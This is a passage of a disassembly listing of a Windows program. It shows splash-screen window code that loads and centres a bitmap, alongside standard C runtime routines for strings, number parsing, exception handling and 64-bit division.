loc_4FC120: ; CODE XREF: sub_4FC0D6+10j xor eax, eax cmp [esi], al setz al loc_4FC127: ; CODE XREF: sub_4FC0D6+58j ; sub_4FC0D6+86j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4FC12C: ; CODE XREF: sub_4FC0D6+3Bj ; sub_4FC0D6+41j ... xor eax, eax jmp short loc_4FC127 ; --------------------------------------------------------------------------- loc_4FC130: ; CODE XREF: sub_4FC0D6+1Cj xor edi, edi cmp byte ptr [esi], 0 jz short loc_4FC142 loc_4FC137: ; CODE XREF: sub_4FC0D6+66j inc edi cmp byte ptr [edi+esi], 0 jnz short loc_4FC137 test edi, edi jl short loc_4FC12C loc_4FC142: ; CODE XREF: sub_4FC0D6+5Fj add esi, edi loc_4FC144: ; CODE XREF: sub_4FC0D6+7Fj push esi push ebx call sub_4FC0D6 pop ecx test eax, eax pop ecx jnz short loc_4FC159 dec edi dec esi test edi, edi jge short loc_4FC144 jmp short loc_4FC12C ; --------------------------------------------------------------------------- loc_4FC159: ; CODE XREF: sub_4FC0D6+79j push 1 pop eax jmp short loc_4FC127 sub_4FC0D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC15E proc near ; DATA XREF: sub_4FC271+36o var_60 = dword ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h push edi cmp [ebp+arg_4], 0Fh jnz loc_4FC1FF and [ebp+var_20], 0 xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd stosd lea eax, [ebp+var_20] push eax push 18h push ds:dword_515A50 call ds:dword_5117F8 ; GetObjectA lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_5117F0 ; BeginPaint push [ebp+var_60] call ds:dword_5117E0 ; CreateCompatibleDC mov [ebp+var_8], eax push ds:dword_515A50 push [ebp+var_8] call ds:dword_5117FC ; SelectObject mov [ebp+var_4], eax push 0CC0020h push 0 push 0 push [ebp+var_8] push [ebp+var_18] push [ebp+var_1C] push 0 push 0 push [ebp+var_60] call ds:dword_511804 ; BitBlt push [ebp+var_4] push [ebp+var_8] call ds:dword_5117FC ; SelectObject push [ebp+var_8] call ds:dword_5117E8 ; DeleteDC lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_5117F4 ; EndPaint xor eax, eax jmp short loc_4FC211 ; --------------------------------------------------------------------------- loc_4FC1FF: ; CODE XREF: sub_4FC15E+Bj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E050 ; DefWindowProcA loc_4FC211: ; CODE XREF: sub_4FC15E+9Fj pop edi leave retn 10h sub_4FC15E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC216 proc near ; DATA XREF: sub_4FC271+152o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_511808 ; GetWindowThreadProcessId call ds:dword_5116E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_4FC26A mov eax, [ebp+arg_0] cmp eax, ds:dword_515A54 jz short loc_4FC26A push ds:dword_515A54 call ds:dword_51182C ; DestroyWindow and ds:dword_515A54, 0 push [ebp+arg_0] call ds:dword_51180C ; SetActiveWindow push [ebp+arg_0] call ds:dword_511810 ; SetForegroundWindow xor eax, eax jmp short locret_4FC26D ; --------------------------------------------------------------------------- loc_4FC26A: ; CODE XREF: sub_4FC216+1Ej ; sub_4FC216+29j push 1 pop eax locret_4FC26D: ; CODE XREF: sub_4FC216+52j leave retn 8 sub_4FC216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC271 proc near ; DATA XREF: sub_4FC3F3+3Co var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 58h push edi mov eax, [ebp+arg_0] mov ds:dword_515A50, eax and [ebp+var_38], 0 xor eax, eax lea edi, [ebp+var_34] stosd stosd stosd stosd stosd lea eax, [ebp+var_38] push eax push 18h push [ebp+arg_0] call ds:dword_5117F8 ; GetObjectA mov ds:dword_515A60, 30h mov ds:dword_515A68, offset sub_4FC15E mov ds:dword_515A88, offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_511718 ; GetModuleHandleA mov ds:dword_515A74, eax push offset dword_515A60 call ds:dword_511814 ; RegisterClassExA push 10h call ds:dword_511818 ; GetSystemMetrics mov [ebp+var_20], eax push 11h call ds:dword_511818 ; GetSystemMetrics mov [ebp+var_18], eax mov eax, [ebp+var_20] sub eax, [ebp+var_34] cdq sub eax, edx sar eax, 1 mov [ebp+var_14], eax mov eax, [ebp+var_18] sub eax, [ebp+var_30] cdq sub eax, edx sar eax, 1 mov [ebp+var_10], eax mov eax, [ebp+var_14] add eax, [ebp+var_34] mov [ebp+var_C], eax mov eax, [ebp+var_10] add eax, [ebp+var_30] mov [ebp+var_8], eax mov [ebp+var_58], 98800000h push 0 push 0 push [ebp+var_58] lea eax, [ebp+var_14] push eax call ds:dword_50E054 ; AdjustWindowRectEx push 0 push 0 push 0 push 0 mov eax, [ebp+var_8] sub eax, [ebp+var_10] push eax mov eax, [ebp+var_C] sub eax, [ebp+var_14] push eax push [ebp+var_10] push [ebp+var_14] push [ebp+var_58] push offset dword_511918 push offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_51181C ; CreateWindowExA mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_515A54, eax loc_4FC36B: ; CODE XREF: sub_4FC271+133j push 0 push 0 push [ebp+var_4] lea eax, [ebp+var_54] push eax call ds:dword_511820 ; GetMessageA test eax, eax jz short loc_4FC3A6 mov eax, [ebp+var_54] cmp eax, [ebp+var_4] jnz short loc_4FC390 cmp [ebp+var_50], 0 jnz short loc_4FC390 jmp short loc_4FC3A6 ; --------------------------------------------------------------------------- loc_4FC390: ; CODE XREF: sub_4FC271+115j ; sub_4FC271+11Bj lea eax, [ebp+var_54] push eax call ds:dword_511824 ; TranslateMessage lea eax, [ebp+var_54] push eax call ds:dword_511828 ; DispatchMessageA jmp short loc_4FC36B ; --------------------------------------------------------------------------- loc_4FC3A6: ; CODE XREF: sub_4FC271+10Dj ; sub_4FC271+11Dj push 64h call ds:dword_511794 ; Sleep and [ebp+var_1C], 0 jmp short loc_4FC3BB ; --------------------------------------------------------------------------- loc_4FC3B4: ; CODE XREF: sub_4FC271+170j mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4FC3BB: ; CODE XREF: sub_4FC271+141j cmp [ebp+var_1C], 64h jge short loc_4FC3E3 push 0 push offset sub_4FC216 call ds:dword_511830 ; EnumWindows cmp ds:dword_515A54, 0 jnz short loc_4FC3D9 jmp short loc_4FC3E3 ; --------------------------------------------------------------------------- loc_4FC3D9: ; CODE XREF: sub_4FC271+164j push 64h call ds:dword_511794 ; Sleep jmp short loc_4FC3B4 ; --------------------------------------------------------------------------- loc_4FC3E3: ; CODE XREF: sub_4FC271+14Ej ; sub_4FC271+166j push [ebp+arg_0] call ds:dword_511800 ; DeleteObject xor eax, eax pop edi leave retn 4 sub_4FC271 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC3F3 proc near ; CODE XREF: sub_504DC0+17p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 3 push 80000000h push offset a_splashscreen_ ; "_splashscreen.bmp" call sub_500346 test eax, eax jz short locret_4FC450 push [ebp+var_4] call sub_505456 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4FC446 push offset dword_515A58 push 0 push [ebp+var_8] push offset sub_4FC271 push 0 push 0 call ds:dword_51183C ; CreateThread push 64h call ds:dword_511794 ; Sleep loc_4FC446: ; CODE XREF: sub_4FC3F3+30j push 0 push [ebp+var_4] call sub_500741 locret_4FC450: ; CODE XREF: sub_4FC3F3+1Ej leave retn sub_4FC3F3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC454 proc near ; CODE XREF: sub_4FC54C+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4FC46C push [ebp+arg_0] call sub_4FCF68 ; RtlUnwind loc_4FC46C: ; DATA XREF: sub_4FC454+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4FC454 endp ; =============== S U B R O U T I N E ======================================= sub_4FC474 proc near ; DATA XREF: sub_4FC496+Ao ; _5:004FC507o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4FC495 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4FC495: ; CODE XREF: sub_4FC474+10j retn sub_4FC474 endp ; =============== S U B R O U T I N E ======================================= sub_4FC496 proc near ; CODE XREF: sub_4FC54C+67p ; sub_4FC54C+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4FC474 push large dword ptr fs:0 mov large fs:0, esp loc_4FC4B3: ; CODE XREF: sub_4FC496:loc_4FC4EEj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4FC4F0 cmp esi, [esp+1Ch+arg_4] jz short loc_4FC4F0 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4FC4EE push 101h mov eax, [ebx+esi*4+8] call sub_4FC52A call dword ptr [ebx+esi*4+8] loc_4FC4EE: ; CODE XREF: sub_4FC496+44j jmp short loc_4FC4B3 ; --------------------------------------------------------------------------- loc_4FC4F0: ; CODE XREF: sub_4FC496+2Aj ; sub_4FC496+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4FC496 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4FC474 jnz short locret_4FC520 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4FC520 mov eax, 1 locret_4FC520: ; CODE XREF: _5:004FC50Ej _5:004FC519j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_511434 jmp short loc_4FC534 ; =============== S U B R O U T I N E ======================================= sub_4FC52A proc near ; CODE XREF: sub_4FC496+4Fp ; sub_4FC54C+78p push ebx push ecx mov ebx, offset dword_511434 mov ecx, [ebp+8] loc_4FC534: ; CODE XREF: _5:004FC528j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4FC52A endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC54C proc near ; DATA XREF: sub_4FC000+Ao ; sub_4FCA80+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_4FC5EC mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4FC57F: ; CODE XREF: sub_4FC54C+90j cmp esi, 0FFFFFFFFh jz short loc_4FC5E5 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4FC5D3 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4FC5D3 js short loc_4FC5DE mov edi, [ebx+8] push ebx call sub_4FC454 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4FC496 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4FC52A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4FC5D3: ; CODE XREF: sub_4FC54C+40j ; sub_4FC54C+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4FC57F ; --------------------------------------------------------------------------- loc_4FC5DE: ; CODE XREF: sub_4FC54C+54j mov eax, 0 jmp short loc_4FC601 ; --------------------------------------------------------------------------- loc_4FC5E5: ; CODE XREF: sub_4FC54C+36j mov eax, 1 jmp short loc_4FC601 ; --------------------------------------------------------------------------- loc_4FC5EC: ; CODE XREF: sub_4FC54C+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4FC496 add esp, 8 pop ebp mov eax, 1 loc_4FC601: ; CODE XREF: sub_4FC54C+97j ; sub_4FC54C+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4FC54C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4FC496 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4FC640 loc_4FC630: ; CODE XREF: sub_4FC640+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4FC640 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4FC640 proc near ; CODE XREF: sub_4FF166+2Ap ; sub_508A16+AFp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004FC630 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4FC66B loc_4FC658: ; CODE XREF: sub_4FC640+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4FC630 test cl, cl jz short loc_4FC6B4 test edx, 3 jnz short loc_4FC658 loc_4FC66B: ; CODE XREF: sub_4FC640+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4FC676: ; CODE XREF: sub_4FC640+61j ; sub_4FC640+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4FC6B8 and eax, 81010100h jz short loc_4FC676 and eax, 1010100h jnz short loc_4FC6B2 and esi, 80000000h jnz short loc_4FC676 loc_4FC6B2: ; CODE XREF: sub_4FC640+68j ; sub_4FC640+81j ... pop esi pop edi loc_4FC6B4: ; CODE XREF: sub_4FC640+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4FC6B8: ; CODE XREF: sub_4FC640+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4FC6F5 test al, al jz short loc_4FC6B2 cmp ah, bl jz short loc_4FC6EE test ah, ah jz short loc_4FC6B2 shr eax, 10h cmp al, bl jz short loc_4FC6E7 test al, al jz short loc_4FC6B2 cmp ah, bl jz short loc_4FC6E0 test ah, ah jz short loc_4FC6B2 jmp short loc_4FC676 ; --------------------------------------------------------------------------- loc_4FC6E0: ; CODE XREF: sub_4FC640+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4FC6E7: ; CODE XREF: sub_4FC640+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4FC6EE: ; CODE XREF: sub_4FC640+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4FC6F5: ; CODE XREF: sub_4FC640+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4FC640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC700 proc near ; CODE XREF: sub_4FF252+FBp ; sub_502DD0+161p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_4FC721 xor eax, eax jmp short loc_4FC723 ; --------------------------------------------------------------------------- loc_4FC721: ; CODE XREF: sub_4FC700+1Bj mov eax, edi loc_4FC723: ; CODE XREF: sub_4FC700+1Fj cld pop edi leave retn sub_4FC700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC730 proc near ; CODE XREF: sub_50153F+5Ep ; sub_50153F+1ABp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4FC761 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4FC75F jz short loc_4FC761 dec ecx dec ecx loc_4FC75F: ; CODE XREF: sub_4FC730+29j not ecx loc_4FC761: ; CODE XREF: sub_4FC730+9j ; sub_4FC730+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4FC730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4FC770 proc near ; CODE XREF: sub_501CC4+1AFp ; sub_501CC4+434p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4FC7F3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4FC794 shr ecx, 2 jnz short loc_4FC801 jmp short loc_4FC7B5 ; --------------------------------------------------------------------------- loc_4FC794: ; CODE XREF: sub_4FC770+1Bj ; sub_4FC770+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4FC7C2 test al, al jz short loc_4FC7CA test esi, 3 jnz short loc_4FC794 mov ebx, ecx shr ecx, 2 jnz short loc_4FC801 loc_4FC7B0: ; CODE XREF: sub_4FC770+8Fj and ebx, 3 jz short loc_4FC7C2 loc_4FC7B5: ; CODE XREF: sub_4FC770+22j ; sub_4FC770+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4FC7EE dec ebx jnz short loc_4FC7B5 loc_4FC7C2: ; CODE XREF: sub_4FC770+2Bj ; sub_4FC770+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4FC7CA: ; CODE XREF: sub_4FC770+2Fj test edi, 3 jz short loc_4FC7E4 loc_4FC7D2: ; CODE XREF: sub_4FC770+72j mov [edi], al inc edi dec ecx jz loc_4FC866 test edi, 3 jnz short loc_4FC7D2 loc_4FC7E4: ; CODE XREF: sub_4FC770+60j mov ebx, ecx shr ecx, 2 jnz short loc_4FC857 loc_4FC7EB: ; CODE XREF: sub_4FC770+7Fj ; sub_4FC770+F4j mov [edi], al inc edi loc_4FC7EE: ; CODE XREF: sub_4FC770+4Dj dec ebx jnz short loc_4FC7EB pop ebx pop esi loc_4FC7F3: ; CODE XREF: sub_4FC770+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4FC7F9: ; CODE XREF: sub_4FC770+A9j ; sub_4FC770+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4FC7B0 loc_4FC801: ; CODE XREF: sub_4FC770+20j ; sub_4FC770+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4FC7F9 test dl, dl jz short loc_4FC84B test dh, dh jz short loc_4FC841 test edx, 0FF0000h jz short loc_4FC837 test edx, 0FF000000h jnz short loc_4FC7F9 mov [edi], edx jmp short loc_4FC84F ; --------------------------------------------------------------------------- loc_4FC837: ; CODE XREF: sub_4FC770+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4FC84F ; --------------------------------------------------------------------------- loc_4FC841: ; CODE XREF: sub_4FC770+B1j and edx, 0FFh mov [edi], edx jmp short loc_4FC84F ; --------------------------------------------------------------------------- loc_4FC84B: ; CODE XREF: sub_4FC770+ADj xor edx, edx mov [edi], edx loc_4FC84F: ; CODE XREF: sub_4FC770+C5j ; sub_4FC770+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4FC861 loc_4FC857: ; CODE XREF: sub_4FC770+79j xor eax, eax loc_4FC859: ; CODE XREF: sub_4FC770+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4FC859 loc_4FC861: ; CODE XREF: sub_4FC770+E5j and ebx, 3 jnz short loc_4FC7EB loc_4FC866: ; CODE XREF: sub_4FC770+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4FC770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC86E proc near ; CODE XREF: sub_4FC0D6+24p ; sub_4FC0D6+2Fp ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_5160F4, 0 push ebx push esi push edi jnz short loc_4FC89B mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4FC934 cmp eax, 5Ah jg loc_4FC934 add eax, 20h jmp loc_4FC934 ; --------------------------------------------------------------------------- loc_4FC89B: ; CODE XREF: sub_4FC86E+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4FC8CF cmp ds:dword_51165C, esi jle short loc_4FC8BD push esi push ebx call sub_4FCCCF pop ecx pop ecx jmp short loc_4FC8C7 ; --------------------------------------------------------------------------- loc_4FC8BD: ; CODE XREF: sub_4FC86E+42j mov eax, ds:off_511450 mov al, [eax+ebx*2] and eax, esi loc_4FC8C7: ; CODE XREF: sub_4FC86E+4Dj test eax, eax jnz short loc_4FC8CF loc_4FC8CB: ; CODE XREF: sub_4FC86E+ADj mov eax, ebx jmp short loc_4FC934 ; --------------------------------------------------------------------------- loc_4FC8CF: ; CODE XREF: sub_4FC86E+3Aj ; sub_4FC86E+5Bj mov edx, ds:off_511450 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4FC8F3 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4FC8FC ; --------------------------------------------------------------------------- loc_4FC8F3: ; CODE XREF: sub_4FC86E+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4FC8FC: ; CODE XREF: sub_4FC86E+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_5160F4 call sub_4FCA80 add esp, 20h test eax, eax jz short loc_4FC8CB cmp eax, esi jnz short loc_4FC927 movzx eax, [ebp+var_4] jmp short loc_4FC934 ; --------------------------------------------------------------------------- loc_4FC927: ; CODE XREF: sub_4FC86E+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4FC934: ; CODE XREF: sub_4FC86E+16j ; sub_4FC86E+1Fj ... pop edi pop esi pop ebx leave retn sub_4FC86E endp ; --------------------------------------------------------------------------- align 10h push edi push esi push ebx xor edi, edi mov eax, [esp+14h] or eax, eax jge short loc_4FC961 inc edi mov edx, [esp+10h] neg eax neg edx sbb eax, 0 mov [esp+14h], eax mov [esp+10h], edx loc_4FC961: ; CODE XREF: _5:004FC94Bj mov eax, [esp+1Ch] or eax, eax jge short loc_4FC97D inc edi mov edx, [esp+18h] neg eax neg edx sbb eax, 0 mov [esp+1Ch], eax mov [esp+18h], edx loc_4FC97D: ; CODE XREF: _5:004FC967j or eax, eax jnz short loc_4FC999 mov ecx, [esp+18h] mov eax, [esp+14h] xor edx, edx div ecx mov ebx, eax mov eax, [esp+10h] div ecx mov edx, ebx jmp short loc_4FC9DA ; --------------------------------------------------------------------------- loc_4FC999: ; CODE XREF: _5:004FC97Fj mov ebx, eax mov ecx, [esp+18h] mov edx, [esp+14h] mov eax, [esp+10h] loc_4FC9A7: ; CODE XREF: _5:004FC9B1j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4FC9A7 div ecx mov esi, eax mul dword ptr [esp+1Ch] mov ecx, eax mov eax, [esp+18h] mul esi add edx, ecx jb short loc_4FC9D5 cmp edx, [esp+14h] ja short loc_4FC9D5 jb short loc_4FC9D6 cmp eax, [esp+10h] jbe short loc_4FC9D6 loc_4FC9D5: ; CODE XREF: _5:004FC9C5j _5:004FC9CBj dec esi loc_4FC9D6: ; CODE XREF: _5:004FC9CDj _5:004FC9D3j xor edx, edx mov eax, esi loc_4FC9DA: ; CODE XREF: _5:004FC997j dec edi jnz short loc_4FC9E4 neg edx neg eax sbb edx, 0 loc_4FC9E4: ; CODE XREF: _5:004FC9DBj pop ebx pop esi pop edi retn 10h ; =============== S U B R O U T I N E ======================================= sub_4FC9EA proc near ; CODE XREF: sub_4FCA75+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4FC9F2: ; CODE XREF: sub_4FC9EA+34j cmp ds:dword_51165C, 1 jle short loc_4FCA0A movzx eax, byte ptr [edi] push 8 push eax call sub_4FCCCF pop ecx pop ecx jmp short loc_4FCA19 ; --------------------------------------------------------------------------- loc_4FCA0A: ; CODE XREF: sub_4FC9EA+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_511450 mov al, [ecx+eax*2] and eax, 8 loc_4FCA19: ; CODE XREF: sub_4FC9EA+1Ej test eax, eax jz short loc_4FCA20 inc edi jmp short loc_4FC9F2 ; --------------------------------------------------------------------------- loc_4FCA20: ; CODE XREF: sub_4FC9EA+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4FCA30 cmp esi, 2Bh jnz short loc_4FCA34 loc_4FCA30: ; CODE XREF: sub_4FC9EA+3Fj movzx esi, byte ptr [edi] inc edi loc_4FCA34: ; CODE XREF: sub_4FC9EA+44j xor ebx, ebx loc_4FCA36: ; CODE XREF: sub_4FC9EA+7Bj cmp ds:dword_51165C, 1 jle short loc_4FCA4B push 4 push esi call sub_4FCCCF pop ecx pop ecx jmp short loc_4FCA56 ; --------------------------------------------------------------------------- loc_4FCA4B: ; CODE XREF: sub_4FC9EA+53j mov eax, ds:off_511450 mov al, [eax+esi*2] and eax, 4 loc_4FCA56: ; CODE XREF: sub_4FC9EA+5Fj test eax, eax jz short loc_4FCA67 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4FCA36 ; --------------------------------------------------------------------------- loc_4FCA67: ; CODE XREF: sub_4FC9EA+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_4FCA70 neg eax loc_4FCA70: ; CODE XREF: sub_4FC9EA+82j pop edi pop esi pop ebp pop ebx retn sub_4FC9EA endp ; =============== S U B R O U T I N E ======================================= sub_4FCA75 proc near ; CODE XREF: sub_50AD0C+5Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_4FC9EA pop ecx retn sub_4FCA75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FCA80 proc near ; CODE XREF: sub_4FC86E+A3p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EB08 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp ds:dword_5160E8, edi jnz short loc_4FCAF6 push edi push edi push 1 pop ebx push ebx push offset dword_50EB00 mov esi, 100h push esi push edi call ds:dword_50E034 ; LCMapStringW test eax, eax jz short loc_4FCAD4 mov ds:dword_5160E8, ebx 